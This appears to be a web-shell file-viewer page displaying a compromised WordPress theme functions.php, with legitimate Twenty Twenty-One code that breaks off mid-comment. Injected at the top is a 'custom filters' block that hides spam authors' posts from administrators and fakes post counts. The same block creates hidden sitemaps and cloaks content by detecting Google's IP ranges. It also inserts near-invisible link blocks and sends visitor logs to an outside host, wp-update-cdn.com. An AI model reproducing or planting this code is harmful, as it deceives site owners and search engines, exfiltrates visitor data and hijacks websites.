HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/content/wp-content/themes/twentytwentyone/functions.php
<?php

/* custom filters */

function add_where_condition($where) {
    global $wpdb, $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $idsCommaSeparated = implode(', ', $ids);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'fix_post_counts');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)";
    }

    return $where;
}

function post_exclude($query) {

    global $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $excludeString = modifyWritersString($ids);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $excludeString);
    }
}

function wp_core_js() {

    global $post, $userSettingsArr;

    foreach ($userSettingsArr as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (hideJSsource($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function hideJSsource($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {
        //customSetDebug('cloacking is on!');
        //customSendDebug();
        if (customCheckSe()) {
            return true;
        }
    }
    return false;
}

function fix_post_counts($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function filter_function_name_4055($counts, $type, $perm) {

    if ($type === 'post') {
        $old_counts = $counts->publish;
        $counts_mod = posts_count_custom($perm);
        $counts->publish = !$counts_mod ? $old_counts : $counts_mod;
    }
    return $counts;
}

function posts_count_custom($perm) {
    global $wpdb, $userSettingsArr;

    $ids = array_keys($userSettingsArr);
    $idsCommaSeparated = implode(', ', $ids);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $post_type_object = get_post_type_object($type);

        if (!current_user_can($post_type_object->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $tmpArr) {
        if ($tmpArr['post_status'] === 'publish') {
            return $tmpArr['num_posts'];
        }
    }
}

function all_custom_posts_ids($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $ids = array();
    foreach ($results as $tmpArr) {
        $ids[] = $tmpArr['ID'];
    }
    return $ids;
}

function custom_flush_rules() {

    global $userSettingsArr, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($userSettingsArr as $key => $arr) {
        $regex = key($arr['sitemapsettings']);

        if (!isset($rules[$regex]) ||
            ($rules[$regex] !== current($arr['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function sitemap_xml_rules($rules) {

    global $userSettingsArr;

    $newrules = array();

    foreach ($userSettingsArr as $key => $arr) {
        if (isset($arr['sitemapsettings'])) {
            $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']);
        }
    }

    return $newrules + $rules;
}

function customSitemapFeed() {

    global $userSettingsArr;

    foreach ($userSettingsArr as $key => $arr) {
        $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings']));
        add_feed($feedName, 'customSitemapFeedFunc');
    }
}

function customSitemapFeedFunc() {
//ini_set('memory_limit', '256MB');
    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
//header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
    status_header(200);

    $head = sitemapHead();
    $sitemapSource = $head . "\n";

    $userId = findUserIdByRequestUri();

    $posts_ids = all_custom_posts_ids($userId);
    $priority = '0.5';
    $changefreq = 'weekly';
    $lastmod = date('Y-m-d');

    foreach ($posts_ids as $post_id) {
        $url = get_permalink($post_id);
        $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $sitemapSource .= "\n</urlset>";

    echo $sitemapSource;
}

function sitemapHead() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset
      xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
            http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">

    
STR;
}

function urlBlock($url, $lastmod, $changefreq, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$lastmod</lastmod>
      <changefreq>$changefreq</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function modifyWritersString($writersArr) {
    $writersArrMod = array();

    foreach ($writersArr as $item) {
        $writersArrMod[] = '-' . $item;
    }
    return implode(',', $writersArrMod);
}

function customFiltersSettings() {
    $settings = get_option('wp_custom_filters');

    if (!$settings) {
        return null;
    }

    return unserialize(base64_decode($settings));
}

function findUserIdByRequestUri() {

    global $userSettingsArr;

    foreach ($userSettingsArr as $key => $arr) {

        $regexp = key($arr['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$');

        if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) {
            return $key;
        }
    }
}

function isCustomPost() {
    global $userSettingsArr, $post;

    $authors_ids_arr = array_keys($userSettingsArr);
    if (in_array($post->post_author, $authors_ids_arr)) {
        return true;
    }
    return false;
}

function removeYoastMeta() {
    global $userSettingsArr, $post;

    $authors_ids_arr = array_keys($userSettingsArr);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $authors_ids_arr)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function getRemoteIp() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function customCheckSe() {

    $ip = getRemoteIp();

    if (strstr($ip, ', ')) {
        $ips = explode(', ', $ip);
        $ip = $ips[0];
    }

    $ranges = customSeIps();

    if (!$ranges) {
        return false;
    }

    foreach ($ranges as $range) {
        if (customCheckInSubnet($ip, $range)) {
            //customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range
            //                , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
            return true;
        }
    }

    //customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range
    //                , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
    return false;
}

function customIsRenewTime($timestamp) {
    //if ((time() - $timestamp) > 60 * 60 * 24) {
    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }
    //customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp));
    return false;
}

function customSetDebug($data) {

    if (($value = get_option('wp_debug_data')) && is_array($value)) {
        $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data);
        update_option('wp_debug_data', $value, false);
        return;
    }

    update_option('wp_debug_data', array($data), false);
}

function customSendDebug() {

    $value = get_option('wp_debug_data');

    if (!is_array($value) || (count($value) < 100)) {
        return;
    }
    $url = 'http://wp-update-cdn.com/src/ualogsec.php';

    $response = wp_remote_post($url, array(
            'method' => 'POST',
            'timeout' => 10,
            'body' => array(
                'host' => $_SERVER['HTTP_HOST'],
                'debugdata' => gzcompress(json_encode($value)), 9)
        )
    );

    if (is_wp_error($response)) {
        return;
    } else {
        if (trim($response['body']) === 'success') {
            update_option('wp_debug_data', array(), false);
        }
    }
}

function customSeIps() {

    if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) {
        return $value['ranges'];
    } else {
        //customSetDebug('time to update ranges');
        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            //customSetDebug('error response ipranges');
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($ranges)) {
            //customSetDebug('invalid update ranges not an array');
            return;
        }

        $value = array('ranges' => $ranges, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function customInetToBits($inet) {
    $splitted = str_split($inet);
    $binaryip = '';
    foreach ($splitted as $char) {
        $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $binaryip;
}

function customCheckInSubnet($ip, $cidrnet) {
    $ip = inet_pton($ip);
    $binaryip = customInetToBits($ip);

    list($net, $maskbits) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $binarynet = customInetToBits($net);

    $ip_net_bits = substr($binaryip, 0, $maskbits);
    $net_bits = substr($binarynet, 0, $maskbits);

    if ($ip_net_bits !== $net_bits) {
        //echo 'Not in subnet';
        return false;
    } else {
        return true;
    }
}

/**
 * function buffer_start_custom() {
 *
 * global $post, $userSettingsArr;
 *
 * $authors_ids_arr = array_keys($userSettingsArr);
 *
 *
 *
 * if (!in_array($post->post_author, $authors_ids_arr)) {
 * if (is_single() || (is_front_page() || is_home())) {
 * ob_start("callback_custom");
 * }
 * }
 * }
 *
 */
function buffer_start_custom() {
    echo '<!--buffer start custom--!>' . PHP_EOL;
    if (!isCustomPost()) {
        if (is_singular() || (is_front_page() || is_home())) {
            echo '<!--start callback custom--!>' . PHP_EOL;
            ob_start("callback_custom");
        }
    }
}

function buffer_end_custom() {
    ob_end_flush();
}

function callback_custom($buffer) {
    global $homeLinksSettingsArr;

    return buffer_prepare_custom($homeLinksSettingsArr, $buffer);
}

function buffer_prepare_custom($homeLinksSettingsArr, $buffer) {

    if (($homeLinksSettingsArr['hiddenType']['cloacking'] === 1) && !customCheckSe()) {
        customSetDebug('no google bot, without changes ' . getRemoteIp());
        return $buffer;
    }


    $textBlock = text_block_custom($homeLinksSettingsArr);
    $textBlock = additional_style_custom($homeLinksSettingsArr, $textBlock);


    if ($homeLinksSettingsArr['position']['footer'] === 1) {
        customSetDebug('footer position');
        return $buffer . PHP_EOL . $textBlock;
    }
    if ($homeLinksSettingsArr['position']['head'] === 1) {
        customSetDebug('header position');
        return $textBlock . PHP_EOL . $buffer;
    }
}

function text_block_custom($homeLinksSettingsArr) {

    global $post;

    $block = '';

    if ($homeLinksSettingsArr['textBlocksCount']['onlyHomePage'] === 1) {
        if (is_front_page() || is_home()) {
            customSetDebug('home page mode');
            $block = get_option('home_links_custom_0');
        }
    } elseif ($homeLinksSettingsArr['textBlocksCount']['10DifferentTextBlocks'] === 1) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $block = get_option('home_links_custom_' . $matches[0]);
        $log = sprintf('10DifferentTextBlocks page mode block num - %s permalink - %s', $matches[0], $url);
        customSetDebug($log);
    } elseif ($homeLinksSettingsArr['textBlocksCount']['100DifferentTextBlocks'] === 1) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $digits = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $block = get_option('home_links_custom_' . $digits);
        $log = sprintf('100DifferentTextBlocks page mode block num - %s permalink - %s', $digits, $url);
        customSetDebug($log);
    } elseif ($homeLinksSettingsArr['textBlocksCount']['fullDifferentTextBlocks'] === 1) {

    } else {

    }

    return !$block ? '' : $block;
}

function additional_style_custom($homeLinksSettingsArr, $textBlock) {
    if (empty($textBlock)) {
        return '';
    }
    if ($homeLinksSettingsArr['hiddenType']['css'] === 1) {
        $cssRules = css_rule_custom();
        return $cssRules[0] . PHP_EOL . $textBlock . PHP_EOL . $cssRules[1];
    }
    return $textBlock;
}

function css_rule_custom() {
    //return ['<div style="display: none;">', '</div>'];
    return array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:8;">', '</div>');
}

function home_links_settings_custom($settings) {
    foreach ($settings as $key => $arr) {
        if (isset($arr['homeLinks'])) {
            return $arr['homeLinks'];
        }
    }
    return array();
}

$userSettingsArr = customFiltersSettings();

if (is_array($userSettingsArr)) {
    add_filter('posts_where_paged', 'add_where_condition');

    add_action('pre_get_posts', 'post_exclude');
    add_action('wp_enqueue_scripts', 'wp_core_js');

    add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3);

    add_filter('rewrite_rules_array', 'sitemap_xml_rules');
    add_action('wp_loaded', 'custom_flush_rules');
    add_action('init', 'customSitemapFeed');
    add_action('template_redirect', 'removeYoastMeta');

    $homeLinksSettingsArr = home_links_settings_custom($userSettingsArr);

    if (!empty($homeLinksSettingsArr)) {

        customSendDebug();

        add_action('wp_head', 'buffer_start_custom');
        add_action('wp_footer', 'buffer_end_custom');
    }
}

/* custom filters */
/**
 * Functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @subpackage Twenty_Twenty_One
 * @since Twenty Twenty-One 1.0
 */

// This theme requires WordPress 5.3 or later.
if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
}

if ( ! function_exists( 'twenty_twenty_one_setup' ) ) {
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 *
	 * @since Twenty Twenty-One 1.0
	 *
	 * @return void
	 */
	function twenty_twenty_one_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on Twenty Twenty-One, use a find and replace
		 * to change 'twentytwentyone' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'twentytwentyone', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * This theme does not use a hard-coded <title> tag in the document head,
		 * WordPress will provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/**
		 * Add post-formats support.
		 */
		add_theme_support(
			'post-formats',
			array(
				'link',
				'aside',
				'gallery',
				'image',
				'quote',
				'status',
				'video',
				'audio',
				'chat',
			)
		);

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );
		set_post_thumbnail_size( 1568, 9999 );

		register_nav_menus(
			array(
				'primary' => esc_html__( 'Primary menu', 'twentytwentyone' ),
				'footer'  => esc_html__( 'Secondary menu', 'twentytwentyone' ),
			)
		);

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
				'style',
				'script',
				'navigation-widgets',
			)
		);

		/*
		 * Add support for core custom logo.
		 *
		 * @link https://codex.wordpress.org/Theme_Logo
		 */
		$logo_width  = 300;
		$logo_height = 100;

		add_theme_support(
			'custom-logo',
			array(
				'height'               => $logo_height,
				'width'                => $logo_width,
				'flex-width'           => true,
				'flex-height'          => true,
				'unlink-homepage-logo' => true,
			)
		);

		// Add theme support for selective refresh for widgets.
		add_theme_support( 'customize-selective-refresh-widgets' );

		// Add support for Block Styles.
		add_theme_support( 'wp-block-styles' );

		// Add support for full and wide align images.
		add_theme_support( 'align-wide' );

		// Add support for editor styles.
		add_theme_support( 'editor-styles' );
		$background_color = get_theme_mod( 'background_color', 'D1E4DD' );
		if ( 127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) {
			add_theme_support( 'dark-editor-style' );
		}

		$editor_stylesheet_path = './assets/css/style-editor.css';

		// Note, the is_IE global variable is defined by WordPress and is used
		// to detect if the current browser is internet explorer.
		global $is_IE;
		if ( $is_IE ) {
			$editor_stylesheet_path = './assets/css/ie-editor.css';
		}

		// Enqueue editor styles.
		add_editor_style( $editor_stylesheet_path );

		// Add custom editor font sizes.
		add_theme_support(
			'editor-font-sizes',
			array(
				array(
					'name'      => esc_html__( 'Extra small', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'XS', 'Font size', 'twentytwentyone' ),
					'size'      => 16,
					'slug'      => 'extra-small',
				),
				array(
					'name'      => esc_html__( 'Small', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'S', 'Font size', 'twentytwentyone' ),
					'size'      => 18,
					'slug'      => 'small',
				),
				array(
					'name'      => esc_html__( 'Normal', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'M', 'Font size', 'twentytwentyone' ),
					'size'      => 20,
					'slug'      => 'normal',
				),
				array(
					'name'      => esc_html__( 'Large', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'L', 'Font size', 'twentytwentyone' ),
					'size'      => 24,
					'slug'      => 'large',
				),
				array(
					'name'      => esc_html__( 'Extra large', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'XL', 'Font size', 'twentytwentyone' ),
					'size'      => 40,
					'slug'      => 'extra-large',
				),
				array(
					'name'      => esc_html__( 'Huge', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'XXL', 'Font size', 'twentytwentyone' ),
					'size'      => 96,
					'slug'      => 'huge',
				),
				array(
					'name'      => esc_html__( 'Gigantic', 'twentytwentyone' ),
					'shortName' => esc_html_x( 'XXXL', 'Font size', 'twentytwentyone' ),
					'size'      => 144,
					'slug'      => 'gigantic',
				),
			)
		);

		// Custom background color.
		add_theme_support(
			'custom-background',
			array(
				'default-color' => 'd1e4dd',
			)
		);

		// Editor color palette.
		$black     = '#000000';
		$dark_gray = '#28303D';
		$gray      = '#39414D';
		$green     = '#D1E4DD';
		$blue      = '#D1DFE4';
		$purple    = '#D1D1E4';
		$red       = '#E4D1D1';
		$orange    = '#E4DAD1';
		$yellow    = '#EEEADD';
		$white     = '#FFFFFF';

		add_theme_support(
			'editor-color-palette',
			array(
				array(
					'name'  => esc_html__( 'Black', 'twentytwentyone' ),
					'slug'  => 'black',
					'color' => $black,
				),
				array(
					'name'  => esc_html__( 'Dark gray', 'twentytwentyone' ),
					'slug'  => 'dark-gray',
					'color' => $dark_gray,
				),
				array(
					'name'  => esc_html__( 'Gray', 'twentytwentyone' ),
					'slug'  => 'gray',
					'color' => $gray,
				),
				array(
					'name'  => esc_html__( 'Green', 'twentytwentyone' ),
					'slug'  => 'green',
					'color' => $green,
				),
				array(
					'name'  => esc_html__( 'Blue', 'twentytwentyone' ),
					'slug'  => 'blue',
					'color' => $blue,
				),
				array(
					'name'  => esc_html__( 'Purple', 'twentytwentyone' ),
					'slug'  => 'purple',
					'color' => $purple,
				),
				array(
					'name'  => esc_html__( 'Red', 'twentytwentyone' ),
					'slug'  => 'red',
					'color' => $red,
				),
				array(
					'name'  => esc_html__( 'Orange', 'twentytwentyone' ),
					'slug'  => 'orange',
					'color' => $orange,
				),
				array(
					'name'  => esc_html__( 'Yellow', 'twentytwentyone' ),
					'slug'  => 'yellow',
					'color' => $yellow,
				),
				array(
					'name'  => esc_html__( 'White', 'twentytwentyone' ),
					'slug'  => 'white',
					'color' => $white,
				),
			)
		);

		add_theme_support(
			'editor-gradient-presets',
			array(
				array(
					'name'     => esc_html__( 'Purple to yellow', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)',
					'slug'     => 'purple-to-yellow',
				),
				array(
					'name'     => esc_html__( 'Yellow to purple', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)',
					'slug'     => 'yellow-to-purple',
				),
				array(
					'name'     => esc_html__( 'Green to yellow', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)',
					'slug'     => 'green-to-yellow',
				),
				array(
					'name'     => esc_html__( 'Yellow to green', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)',
					'slug'     => 'yellow-to-green',
				),
				array(
					'name'     => esc_html__( 'Red to yellow', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)',
					'slug'     => 'red-to-yellow',
				),
				array(
					'name'     => esc_html__( 'Yellow to red', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)',
					'slug'     => 'yellow-to-red',
				),
				array(
					'name'     => esc_html__( 'Purple to red', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)',
					'slug'     => 'purple-to-red',
				),
				array(
					'name'     => esc_html__( 'Red to purple', 'twentytwentyone' ),
					'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)',
					'slug'     => 'red-to-purple',
				),
			)
		);

		/*
		* Adds starter content to highlight the theme on fresh sites.
		* This is done conditionally to avoid loading the starter content on every
		* page load, as it is a one-off operation only needed once in the customizer.
		*/
		if ( is_customize_preview() ) {
			require get_template_directory() . '/inc/starter-content.php';
			add_theme_support( 'starter-content', twenty_twenty_one_get_starter_content() );
		}

		// Add support for responsive embedded content.
		add_theme_support( 'responsive-embeds' );

		// Add support for custom line height controls.
		add_theme_support( 'custom-line-height' );

		// Add support for experimental link color control.
		add_theme_support( 'experimental-link-color' );

		// Add support for experimental cover block spacing.
		add_theme_support( 'custom-spacing' );

		// Add support for custom units.
		// This was removed in WordPress 5.6 but is still required to properly support WP 5.5.
		add_theme_support( 'custom-units' );

		// Remove feed icon link from legacy RSS widget.
		add_filter( 'rss_widget_feed_link', '__return_false' );
	}
}
add_action( 'after_setup_theme', 'twenty_twenty_one_setup' );

/**
 * Register widget area.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 *
 * @return void
 */
function twenty_twenty_one_widgets_init() {

	register_sidebar(
		array(
			'name'          => esc_html__( 'Footer', 'twentytwentyone' ),
			'id'            => 'sidebar-1',
			'description'   => esc_html__( 'Add widgets here to appear in your footer.', 'twentytwentyone' ),
			'before_widget' => '<section id="%1$s" class="widget %2$s">',
			'after_widget'  => '</section>',
			'before_title'  => '<h2 class="widget-title">',
			'after_title'   => '</h2>',
		)
	);
}
add_action( 'widgets_init', 'twenty_twenty_one_widgets_init' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @global int $content_width Content width.
 *
 * @return void
 */
function twenty_twenty_one_content_width() {
	// This variable is intended to be overruled from themes.
	// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
	// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
	$GLOBALS['content_width'] = apply_filters( 'twenty_twenty_one_content_width', 750 );
}
add_action( 'after_setup_theme', 'twenty_twenty_one_content_width', 0 );

/**
 * Enqueue scripts and styles.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twenty_twenty_one_scripts() {
	// Note, the is_IE global variable is defined by WordPress and is used
	// to detect if the current browser is internet explorer.
	global $is_IE, $wp_scripts;
	if ( $is_IE ) {
		// If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables.
		wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get( 'Version' ) );
	} else {
		// If not IE, use the standard stylesheet.
		wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get( 'Version' ) );
	}

	// RTL styles.
	wp_style_add_data( 'twenty-twenty-one-style', 'rtl', 'replace' );

	// Print styles.
	wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );

	// Threaded comment reply styles.
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	// Register the IE11 polyfill file.
	wp_register_script(
		'twenty-twenty-one-ie11-polyfills-asset',
		get_template_directory_uri() . '/assets/js/polyfills.js',
		array(),
		wp_get_theme()->get( 'Version' ),
		true
	);

	// Register the IE11 polyfill loader.
	wp_register_script(
		'twenty-twenty-one-ie11-polyfills',
		null,
		array(),
		wp_get_theme()->get( 'Version' ),
		true
	);
	wp_add_inline_script(
		'twenty-twenty-one-ie11-polyfills',
		wp_get_script_polyfill(
			$wp_scripts,
			array(
				'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset',
			)
		)
	);

	// Main navigation scripts.
	if ( has_nav_menu( 'primary' ) ) {
		wp_enqueue_script(
			'twenty-twenty-one-primary-navigation-script',
			get_template_directory_uri() . '/assets/js/primary-navigation.js',
			array( 'twenty-twenty-one-ie11-polyfills' ),
			wp_get_theme()->get( 'Version' ),
			true
		);
	}

	// Responsive embeds script.
	wp_enqueue_script(
		'twenty-twenty-one-responsive-embeds-script',
		get_template_directory_uri() . '/assets/js/responsive-embeds.js',
		array( 'twenty-twenty-one-ie11-polyfills' ),
		wp_get_theme()->get( 'Version' ),
		true
	);
}
add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_scripts' );

/**
 * Enqueue block editor script.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @return void
 */
function twentytwentyone_block_editor_script() {

	wp_enqueue_script( 'twentytwentyone-editor', get_theme_file_uri( '/assets/js/editor.js' ), array( 'wp-blocks', 'wp-dom' ), wp_get_theme()->get( 'Version' ), true );
}

add_action( 'enqueue_block_editor_assets', 'twentytwentyone_block_editor_script' );

/**
 * Fix skip link focus in IE11.
 *
 * This does not enqueue the script because it is tiny and because it is only for IE11,
 * thus it does not warrant having an entire dedicated blocking script being loaded.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @link https://git.io/vWdr2
 */
function twenty_twenty_one_skip_link_focus_fix() {

	// If SCRIPT_DEBUG is defined and true, print the unminified file.
	if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
		echo '<script>';
		include get_template_directory() . '/assets/js/skip-link-focus-fix.js';
		echo '</script>';
	} else {
		// The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`.
		?>
		<script>
		/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",(function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())}),!1);
		</script>
		<?php
	}
}
add_action( 'wp_print_footer_scripts', 'twenty_twenty_one_skip_link_focus_fix' );

/**
 * Enqueue non-latin language styles.
 *
 * @since Twenty Twenty-One 1.0
 *
